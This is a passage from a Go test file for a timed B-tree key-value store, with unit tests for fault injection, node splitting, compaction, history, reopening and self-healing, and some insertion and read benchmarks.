c)))\n\n\ttree, err = Open(d, DefaultOptions())\n\trequire.NoError(t, err)\n\n\tsnapc, err = tree.SnapshotCount()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(0), snapc)\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n\n\tinjectedError := errors.New(\"factory error\")\n\n\tmetaFaultyAppFactory := func(prefix string) AppFactoryFunc {\n\t\treturn func(\n\t\t\trootPath string,\n\t\t\tsubPath string,\n\t\t\topts *multiapp.Options,\n\t\t) (appendable.Appendable, error) {\n\t\t\tif strings.HasPrefix(subPath, prefix) {\n\t\t\t\treturn nil, injectedError\n\t\t\t}\n\n\t\t\tpath := filepath.Join(rootPath, subPath)\n\t\t\treturn multiapp.Open(path, opts)\n\t\t}\n\t}\n\n\tt.Run(\"Should fail opening hLog\", func(t *testing.T) {\n\t\t_, err = Open(d, DefaultOptions().WithAppFactory(metaFaultyAppFactory(historyFolder)))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail opening nLog\", func(t *testing.T) {\n\t\t_, err = Open(d, DefaultOptions().WithAppFactory(metaFaultyAppFactory(nodesFolderPrefix)))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail opening cLog\", func(t *testing.T) {\n\t\t_, err = Open(d, DefaultOptions().WithAppFactory(metaFaultyAppFactory(commitFolderPrefix)))\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n}\n\nfunc TestTBTreeSplitTooBigKeys(t *testing.T) {\n\td := t.TempDir()\n\topts := DefaultOptions()\n\n\topts.WithMaxKeySize(opts.maxNodeSize / 2)\n\t_, err := Open(d, opts)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\topts.WithMaxKeySize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize) - 1)\n\t_, err = Open(d, opts)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n}\n\nfunc TestTBTreeSplitWithKeyUpdates(t *testing.T) {\n\topts := DefaultOptions()\n\n\ttree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tfor i := byte(0); i < 14; i++ {\n\t\tkey := make([]byte, opts.maxKeySize/4)\n\t\tkey[0] = i\n\n\t\terr = tree.BulkInsert([]*KVT{\n\t\t\t{K: key, V: make([]byte, 1)},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\t// updating entries with bigger values should be handled\n\tfor i := byte(0); i < 14; i++ {\n\t\tkey := make([]byte, opts.maxKeySize/4)\n\t\tkey[0] = i\n\n\t\terr = tree.BulkInsert([]*KVT{\n\t\t\t{K: key, V: key},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, _, err = tree.Flush()\n\trequire.NoError(t, err)\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestTBTreeSplitMultiLeafSplit(t *testing.T) {\n\topts := DefaultOptions()\n\topts.WithMaxKeySize(opts.maxNodeSize / 4)\n\n\ttree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tfor i := byte(1); i < 4; i++ {\n\t\tkey := make([]byte, opts.maxKeySize)\n\t\tkey[0] = i\n\n\t\terr = tree.BulkInsert([]*KVT{\n\t\t\t{K: key, V: make([]byte, 1)},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tfor i := byte(1); i < 5; i++ {\n\t\tkey := make([]byte, opts.maxKeySize/8)\n\t\tkey[0] = i + 3\n\n\t\terr = tree.BulkInsert([]*KVT{\n\t\t\t{K: key, V: make([]byte, 1)},\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tkey := make([]byte, opts.maxKeySize)\n\n\terr = tree.BulkInsert([]*KVT{\n\t\t{K: key, V: make([]byte, opts.maxValueSize)},\n\t})\n\trequire.NoError(t, err)\n\n\t_, _, err = tree.Flush()\n\trequire.NoError(t, err)\n\n\terr = tree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestTBTreeCompactionEdgeCases(t *testing.T) {\n\ttree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = tree.BulkInsert([]*KVT{{K: []byte(\"k0\"), V: []byte(\"v0\")}})\n\trequire.NoError(t, err)\n\n\tsnap, err := tree.Snapshot()\n\trequire.NoError(t, err)\n\n\tinjectedError := errors.New(\"error\")\n\n\tnLog := &mocked.MockedAppendable{}\n\tcLog := &mocked.MockedAppendable{}\n\n\tt.Run(\"Should fail while dumping the snapshot\", func(t *testing.T) {\n\t\tnLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, 0, injectedError\n\t\t}\n\t\terr = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {})\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail while appending to cLog\", func(t *testing.T) {\n\t\tnLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tnLog.FlushFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tnLog.SyncFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tcLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, 0, injectedError\n\t\t}\n\t\terr = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {})\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail while flushing nLog\", func(t *testing.T) {\n\t\tnLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tcLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tnLog.FlushFn = func() error {\n\t\t\treturn injectedError\n\t\t}\n\t\terr = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {})\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail while syncing nLog\", func(t *testing.T) {\n\t\tnLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tcLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tnLog.FlushFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tnLog.SyncFn = func() error {\n\t\t\treturn injectedError\n\t\t}\n\t\terr = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {})\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail while flushing cLog\", func(t *testing.T) {\n\t\tnLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tcLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tnLog.FlushFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tnLog.SyncFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tcLog.FlushFn = func() error {\n\t\t\treturn injectedError\n\t\t}\n\t\terr = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {})\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n\n\tt.Run(\"Should fail while syncing cLog\", func(t *testing.T) {\n\t\tnLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tcLog.AppendFn = func(bs []byte) (off int64, n int, err error) {\n\t\t\treturn 0, len(bs), nil\n\t\t}\n\t\tnLog.FlushFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tnLog.SyncFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tcLog.FlushFn = func() error {\n\t\t\treturn nil\n\t\t}\n\t\tcLog.SyncFn = func() error {\n\t\t\treturn injectedError\n\t\t}\n\t\terr = tree.fullDumpTo(snap, nLog, cLog, func(int, int, int) {})\n\t\trequire.ErrorIs(t, err, injectedError)\n\t})\n}\n\nfunc TestTBTreeHistory(t *testing.T) {\n\topts := DefaultOptions().WithFlushThld(100)\n\tdir := t.TempDir()\n\ttbtree, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\terr = tbtree.BulkInsert([]*KVT{{K: []byte(\"k0\"), V: []byte(\"v0\")}})\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\ttbtree, err = Open(dir, opts)\n\trequire.NoError(t, err)\n\n\terr = tbtree.BulkInsert([]*KVT{{K: []byte(\"k0\"), V: []byte(\"v00\")}})\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\ttbtree, err = Open(dir, opts)\n\trequire.NoError(t, err)\n\n\ttss, hCount, err := tbtree.History([]byte(\"k0\"), 0, false, 10)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 2, len(tss))\n\trequire.EqualValues(t, 2, hCount)\n}\n\nfunc TestTBTreeInsertionInAscendingOrder(t *testing.T) {\n\topts := DefaultOptions().WithFlushThld(100)\n\tdir := t.TempDir()\n\ttbtree, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, opts, tbtree.GetOptions())\n\n\t_, _, err = tbtree.Flush()\n\trequire.NoError(t, err)\n\n\titCount := 100\n\tkeyCount := 100\n\tmonotonicInsertions(t, tbtree, itCount, keyCount, true)\n\n\terr = tbtree.BulkInsert(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = tbtree.BulkInsert([]*KVT{{}})\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = tbtree.Flush()\n\trequire.NoError(t, err)\n\n\t_, _, err = tbtree.History(nil, 0, false, 10)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, err = tbtree.History([]byte(\"key\"), 0, false, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, _, _, _, err = tbtree.GetWithPrefix([]byte(\"key\"), []byte(\"longerkey\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\t_, _, err = tbtree.Flush()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, err = tbtree.History([]byte(\"key\"), 0, false, 10)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = tbtree.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, err = tbtree.Get([]byte(\"key\"))\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, err = tbtree.GetBetween([]byte(\"key\"), 1, 2)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, _, err = tbtree.GetWithPrefix([]byte(\"key\"), nil)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = tbtree.Sync()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = tbtree.Insert([]byte(\"key\"), []byte(\"value\"))\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = tbtree.Snapshot()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = tbtree.Compact()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\ttbtree, err = Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, tbtree.root.ts(), uint64(itCount*keyCount))\n\n\tcheckAfterMonotonicInsertions(t, tbtree, itCount, keyCount, true)\n}\n\nfunc TestTBTreeInsertionInDescendingOrder(t *testing.T) {\n\tdir := t.TempDir()\n\ttbtree, err := Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\titCount := 10\n\tkeyCount := 1000\n\n\tmonotonicInsertions(t, tbtree, itCount, keyCount, false)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\ttbtree, err = Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, tbtree.root.ts(), uint64(itCount*keyCount))\n\n\tcheckAfterMonotonicInsertions(t, tbtree, itCount, keyCount, false)\n\n\tsnapshot, err := tbtree.Snapshot()\n\trequire.NotNil(t, snapshot)\n\trequire.NoError(t, err)\n\n\trspec := ReaderSpec{\n\t\tSeekKey:   []byte{},\n\t\tPrefix:    nil,\n\t\tDescOrder: false,\n\t}\n\treader, err := snapshot.NewReader(rspec)\n\trequire.NoError(t, err)\n\n\ti := 0\n\tprevk := reader.seekKey\n\tfor {\n\t\tk, _, _, _, err := reader.Read()\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tbreak\n\t\t}\n\n\t\trequire.True(t, bytes.Compare(prevk, k) < 1)\n\t\tprevk = k\n\t\ti++\n\t}\n\trequire.Equal(t, keyCount, i)\n\n\terr = reader.Close()\n\trequire.NoError(t, err)\n\n\terr = snapshot.Close()\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert(prevk, prevk)\n\trequire.NoError(t, err)\n\n\t_, _, err = tbtree.Flush()\n\trequire.NoError(t, err)\n\n\tsnapshot, err = tbtree.Snapshot()\n\trequire.NoError(t, err)\n\n\tv, ts, hc, err := snapshot.Get(prevk)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(itCount*keyCount+1), ts)\n\trequire.Equal(t, prevk, v)\n\trequire.Equal(t, uint64(itCount+1), hc)\n\n\tsnapshot.Close()\n}\n\nfunc TestTBTreeInsertionInRandomOrder(t *testing.T) {\n\topts := DefaultOptions().WithCacheSize(1000)\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\trandomInsertions(t, tbtree, 10_000, true)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestRandomInsertionWithConcurrentReaderOrder(t *testing.T) {\n\topts := DefaultOptions().WithCacheSize(1000)\n\ttbtree, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tkeyCount := 1000\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\n\tgo func() {\n\t\trandomInsertions(t, tbtree, keyCount, false)\n\t\twg.Done()\n\t}()\n\n\tfor {\n\t\tsnapshot, err := tbtree.Snapshot()\n\t\trequire.NotNil(t, snapshot)\n\t\trequire.NoError(t, err)\n\n\t\trspec := ReaderSpec{\n\t\t\tSeekKey:   []byte{},\n\t\t\tPrefix:    nil,\n\t\t\tDescOrder: false,\n\t\t}\n\n\t\treader, err := snapshot.NewReader(rspec)\n\t\tif err != nil {\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\tsnapshot.Close()\n\t\t\tcontinue\n\t\t}\n\n\t\ti := 0\n\t\tprevk := reader.seekKey\n\t\tfor {\n\t\t\tk, _, _, _, err := reader.Read()\n\t\t\tif err != nil {\n\t\t\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\trequire.True(t, bytes.Compare(prevk, k) < 1)\n\t\t\tprevk = k\n\t\t\ti++\n\t\t}\n\n\t\treader.Close()\n\t\tsnapshot.Close()\n\n\t\tif keyCount == i {\n\t\t\tbreak\n\t\t}\n\t}\n\n\twg.Wait()\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestTBTreeReOpen(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithMaxKeySize(2).WithMaxValueSize(2)\n\topts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize))\n\n\ttbtree, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert([]byte(\"k0\"), []byte(\"v0\"))\n\trequire.NoError(t, err)\n\n\t_, _, err = tbtree.Flush()\n\trequire.NoError(t, err)\n\n\tfor i := 1; i < 10; i++ {\n\t\terr = tbtree.Insert([]byte(fmt.Sprintf(\"k%d\", i)), []byte(fmt.Sprintf(\"v%d\", i)))\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\tt.Run(\"reopening btree after gracefully close should read all data\", func(t *testing.T) {\n\t\ttbtree, err := Open(dir, opts)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, _, err = tbtree.Get([]byte(\"k0\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, _, _, err = tbtree.Get([]byte(\"k1\"))\n\t\trequire.NoError(t, err)\n\n\t\troot, isInnerNode := tbtree.root.(*innerNode)\n\t\trequire.True(t, isInnerNode)\n\n\t\tchildNodeRef := root.nodes[0].(*nodeRef)\n\n\t\trequire.False(t, childNodeRef.mutated())\n\t\trequire.Positive(t, childNodeRef.minOffset())\n\t\trequire.Positive(t, childNodeRef.offset())\n\n\t\tsz, err := childNodeRef.size()\n\t\trequire.NoError(t, err)\n\t\trequire.Positive(t, sz)\n\n\t\t_, err = childNodeRef.setTs(root.ts())\n\t\trequire.NoError(t, err)\n\n\t\tchildNodeRef.off = -1\n\n\t\t_, _, err = childNodeRef.insert(nil)\n\t\trequire.ErrorIs(t, err, singleapp.ErrNegativeOffset)\n\n\t\t_, _, _, err = childNodeRef.get(nil)\n\t\trequire.ErrorIs(t, err, singleapp.ErrNegativeOffset)\n\n\t\t_, _, _, err = childNodeRef.getBetween(nil, 1, 1)\n\t\trequire.ErrorIs(t, err, singleapp.ErrNegativeOffset)\n\n\t\t_, _, err = childNodeRef.history(nil, 0, true, 1)\n\t\trequire.ErrorIs(t, err, singleapp.ErrNegativeOffset)\n\n\t\t_, _, _, err = childNodeRef.findLeafNode(nil, nil, 0, nil, true)\n\t\trequire.ErrorIs(t, err, singleapp.ErrNegativeOffset)\n\n\t\t_, err = childNodeRef.setTs(root.ts())\n\t\trequire.ErrorIs(t, err, singleapp.ErrNegativeOffset)\n\n\t\t_, err = childNodeRef.size()\n\t\trequire.ErrorIs(t, err, singleapp.ErrNegativeOffset)\n\n\t\terr = tbtree.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestTBTreeSelfHealingHistory(t *testing.T) {\n\tdir := t.TempDir()\n\ttbtree, err := Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert([]byte(\"k0\"), []byte(\"v0\"))\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert([]byte(\"k0\"), []byte(\"v00\"))\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\tos.RemoveAll(filepath.Join(dir, \"history\"))\n\n\ttbtree, err = Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\t_, _, err = tbtree.History([]byte(\"k0\"), 0, true, 2)\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\ttbtree, err = Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestTBTreeSelfHealingNodes(t *testing.T) {\n\tdir := t.TempDir()\n\ttbtree, err := Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert([]byte(\"k0\"), []byte(\"v0\"))\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\tos.RemoveAll(filepath.Join(dir, \"nodes\"))\n\n\ttbtree, err = Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\t_, _, _, err = tbtree.Get([]byte(\"k0\"))\n\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\ttbtree, err = Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestTBTreeIncreaseTs(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions().WithFlushThld(2))\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, uint64(0), tbtree.Ts())\n\n\terr = tbtree.Insert([]byte(\"k0\"), []byte(\"v0\"))\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, uint64(1), tbtree.Ts())\n\n\terr = tbtree.IncreaseTs(tbtree.Ts() - 1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = tbtree.IncreaseTs(tbtree.Ts())\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = tbtree.IncreaseTs(tbtree.Ts() + 1)\n\trequire.NoError(t, err)\n\n\terr = tbtree.IncreaseTs(tbtree.Ts() + 1)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, uint64(3), tbtree.Ts())\n\n\tfor i := 1; i < 1_000; i++ {\n\t\terr = tbtree.Insert([]byte(fmt.Sprintf(\"key%d\", i)), []byte(\"v0\"))\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = tbtree.IncreaseTs(tbtree.Ts() - 1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = tbtree.IncreaseTs(tbtree.Ts())\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = tbtree.IncreaseTs(tbtree.Ts() + 1)\n\trequire.NoError(t, err)\n\n\terr = tbtree.Insert([]byte(fmt.Sprintf(\"key%d\", 1000)), []byte(\"v0\"))\n\trequire.NoError(t, err)\n\n\terr = tbtree.IncreaseTs(tbtree.Ts() + 1)\n\trequire.NoError(t, err)\n\n\terr = tbtree.Close()\n\trequire.NoError(t, err)\n\n\terr = tbtree.IncreaseTs(tbtree.Ts() + 1)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestTBTreeFlushAfterIncreaseTs(t *testing.T) {\n\tdir := t.TempDir()\n\tt.Cleanup(func() {\n\t\tos.RemoveAll(dir)\n\t})\n\n\ttbtree, err := Open(dir, DefaultOptions())\n\trequire.NoError(t, err)\n\n\tt.Run(\"increase ts to empty tree\", func(t *testing.T) {\n\t\terr = tbtree.IncreaseTs(100)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = tbtree.Flush()\n\t\trequire.NoError(t, err)\n\n\t\terr = tbtree.Close()\n\t\trequire.NoError(t, err)\n\n\t\ttbtree, err = Open(dir, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, tbtree.Ts(), uint64(100))\n\t})\n\n\tinsertValues := func(n int) {\n\t\tfor i := 0; i < n; i++ {\n\t\t\tvar buf [4]byte\n\t\t\tbinary.BigEndian.PutUint32(buf[:], uint32(i))\n\n\t\t\terr := tbtree.Insert(\n\t\t\t\tbuf[:],\n\t\t\t\tbuf[:],\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\tt.Run(\"increase ts after insertions\", func(t *testing.T) {\n\t\tinsertValues(10)\n\t\trequire.Equal(t, uint64(110), tbtree.Ts())\n\n\t\terr := tbtree.IncreaseTs(200)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = tbtree.Flush()\n\t\trequire.NoError(t, err)\n\n\t\terr = tbtree.Close()\n\t\trequire.NoError(t, err)\n\n\t\ttbtree, err = Open(dir, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, uint64(200), tbtree.Ts())\n\n\t\tln, isLeaf := tbtree.root.(*leafNode)\n\t\trequire.True(t, isLeaf)\n\n\t\trequire.Equal(t, uint64(200), ln.ts())\n\t\trequire.Len(t, ln.values, 10)\n\n\t\tfor _, v := range ln.values {\n\t\t\trequire.Less(t, v.timedValue().Ts, ln.ts())\n\t\t}\n\t})\n\n\tt.Run(\"increase ts after more insertions\", func(t *testing.T) {\n\t\tinsertValues(1000)\n\t\trequire.Equal(t, uint64(1200), tbtree.Ts())\n\n\t\terr := tbtree.IncreaseTs(2500)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = tbtree.Flush()\n\t\trequire.NoError(t, err)\n\n\t\terr = tbtree.Close()\n\t\trequire.NoError(t, err)\n\n\t\ttbtree, err = Open(dir, DefaultOptions())\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, uint64(2500), tbtree.Ts())\n\n\t\tnd, isInner := tbtree.root.(*innerNode)\n\t\trequire.True(t, isInner)\n\n\t\tfor _, child := range nd.nodes {\n\t\t\trequire.Less(t, child.ts(), nd.ts())\n\t\t}\n\t})\n}\n\nfunc BenchmarkRandomInsertion(b *testing.B) {\n\tseed := rand.NewSource(time.Now().UnixNano())\n\trnd := rand.New(seed)\n\n\tfor i := 0; i < b.N; i++ {\n\t\topts := DefaultOptions().\n\t\t\tWithCacheSize(10_000).\n\t\t\tWithFlushThld(100_000).\n\t\t\tWithSyncThld(1_000_000)\n\n\t\ttbtree, _ := Open(b.TempDir(), opts)\n\n\t\tkCount := 1_000_000\n\n\t\tfor i := 0; i < kCount; i++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint32(k, rnd.Uint32())\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\ttbtree.Insert(k, v)\n\t\t}\n\n\t\ttbtree.Close()\n\t}\n}\n\nfunc BenchmarkRandomRead(b *testing.B) {\n\tseed := rand.NewSource(time.Now().UnixNano())\n\trnd := rand.New(seed)\n\n\topts := DefaultOptions().\n\t\tWithCacheSize(100_000).\n\t\tWithFlushThld(100_000)\n\n\ttbtree, err := Open(b.TempDir(), opts)\n\trequire.NoError(b, err)\n\n\tkCount := 1_000_000\n\n\tfor i := 0; i < kCount; i++ {\n\t\tk := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(k, uint64(i))\n\n\t\tv := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\ttbtree.Insert(k, v)\n\t}\n\n\tb.ResetTimer()\n\n\tfor i := 0; i < b.N; i++ {\n\t\tk := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(k, rnd.Uint64()%uint64(kCount))\n\t\ttbtree.Get(k)\n\t}\n\n\ttbtree.Close()\n}\n\nfunc BenchmarkAscendingBulkInsertion(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithCacheSize(100_000).\n\t\tWithFlushThld(100_000).\n\t\tWithSyncThld(1_000_000)\n\n\ttbtree, err := Open(b.TempDir(), opts)\n\trequire.NoError(b, err)\n\n\tdefer tbtree.Close()\n\n\tkBulkCount := 1000\n\tkBulkSize := 1000\n\tascMode := true\n\n\tfor i := 0; i < b.N; i++ {\n\t\terr = bulkInsert(tbtree, kBulkCount, kBulkSize, ascMode)\n\t\trequire.NoError(b, err)\n\t}\n}\n\nfunc BenchmarkDescendingBulkInsertion(b *testing.B) {\n\topts := DefaultOptions().\n\t\tWithCacheSize(10_000).\n\t\tWithFlushThld(100_000).\n\t\tWithSyncThld(1_000_000)\n\n\ttbtree, err := Open(b.TempDir(), opts)\n\trequire.NoError(b, err)\n\n\tdefer tbtree.Close()\n\n\tkBulkCount := 1000\n\tkBulkSize := 1000\n\tascMode := false\n\n\tfor i := 0; i < b.N; i++ {\n\t\terr = bulkInsert(tbtree, kBulkCount, kBulkSize, ascMode)\n\t\trequire.NoError(b, err)\n\t}\n}\n\nfunc bulkInsert(tbtree *TBtree, bulkCount, bulkSize int, asc bool) error {\n\tseed := rand.NewSource(time.Now().UnixNano())\n\trnd := rand.New(seed)\n\n\tkvs := make([]*KVT, bulkSize)\n\n\tfor i := 0; i < bulkCount; i++ {\n\t\tfor j := 0; j < bulkSize; j++ {\n\t\t\tkey := make([]byte, 8)\n\t\t\tif asc {\n\t\t\t\tbinary.BigEndian.PutUint64(key, uint64(i*bulkSize+j))\n\t\t\t} else {\n\t\t\t\tbinary.BigEndian.PutUint64(key, uint64((bulkCount-i)*bulkSize-j))\n\t\t\t}\n\n\t\t\tvalue := make([]byte, 32)\n\t\t\trnd.Read(value)\n\n\t\t\tkvs[j] = &KVT{K: key, V: value}\n\t\t}\n\n\t\terr := tbtree.BulkInsert(kvs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc BenchmarkRandomBulkInsertion(b *testing.B) {\n\tseed := rand.NewSource(time.Now().UnixNano())\n\trnd := rand.New(seed)\n\n\tfor i := 0; i < b.N; i++ {\n\t\topts := DefaultOptions().\n\t\t\tWithCacheSize(1000).\n\t\t\tWithFlushThld(100_000).\n\t\t\tWithSyncThld(1_000_000).\n\t\t\tWithFlushBufferSize(DefaultFlushBufferSize * 4)\n\n\t\ttbtree, err := Open(b.TempDir(), opts)\n\t\trequire.NoError(b, err)\n\n\t\tkBulkCount := 1000\n\t\tkBulkSize := 1000\n\n\t\tkvs := make([]*KVT, kBulkSize)\n\n\t\tfor i := 0; i < kBulkCount; i++ {\n\t\t\tfor j := 0; j < kBulkSize; j++ {\n\t\t\t\tk := make([]byte, 32)\n\t\t\t\tv := make([]byte, 32)\n\n\t\t\t\trnd.Read(k)\n\t\t\t\trnd.Read(v)\n\n\t\t\t\tkvs[j] = &KVT{K: k, V: v}\n\t\t\t}\n\n\t\t\terr = tbtree.BulkInsert(kvs)\n\t\t\trequire.NoError(b, err)\n\t\t}\n\n\t\ttbtree.Close()\n\t}\n}\n\nfunc TestLastUpdateBetween(t *testing.T) {\n\ttbtree, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tkeyUpdatesCount := 32\n\n\tfor i := 0; i < keyUpdatesCount; i++ {\n\t\terr = tbtree.Insert([]byte(\"key1\"), []byte(fmt.Sprintf(\"value%d\", i)))\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, leaf, off, err := 